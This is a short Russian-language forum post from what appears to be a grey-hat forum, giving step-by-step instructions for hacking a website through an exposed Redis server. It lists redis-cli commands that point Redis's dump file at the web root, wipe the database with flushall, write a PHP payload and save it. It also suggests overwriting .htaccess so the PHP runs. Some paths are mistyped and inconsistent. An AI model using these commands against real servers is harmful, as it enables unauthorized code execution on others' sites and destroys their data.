• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Взлом сайта через Redis

Дима22

Эксперт
Сообщения
596
Реакции
507
0 руб.
Для того, чтобы хакнуть сервер с помощью открытой редиски XD))),

Сначала воспользуемся скриптом redis-cli для удобно управления редиской.
ВОТ
Код:
redis-cli -h 127.0.0.1 -p 6379
upload_2017-3-29_14-18-3.png
СМОТРИТЕ СКРИН
Код:
 config set dir /var/www/htodcs
config set dbfilename /var/www/html/htdocs
flushall
set c "<?php phpinfo(); ?>"
save

Так как в директории присутствует .htaccess файл, то его можно перезаписать и выполнить php сценарий
upload_2017-3-29_14-19-27.png
 
Сверху Снизу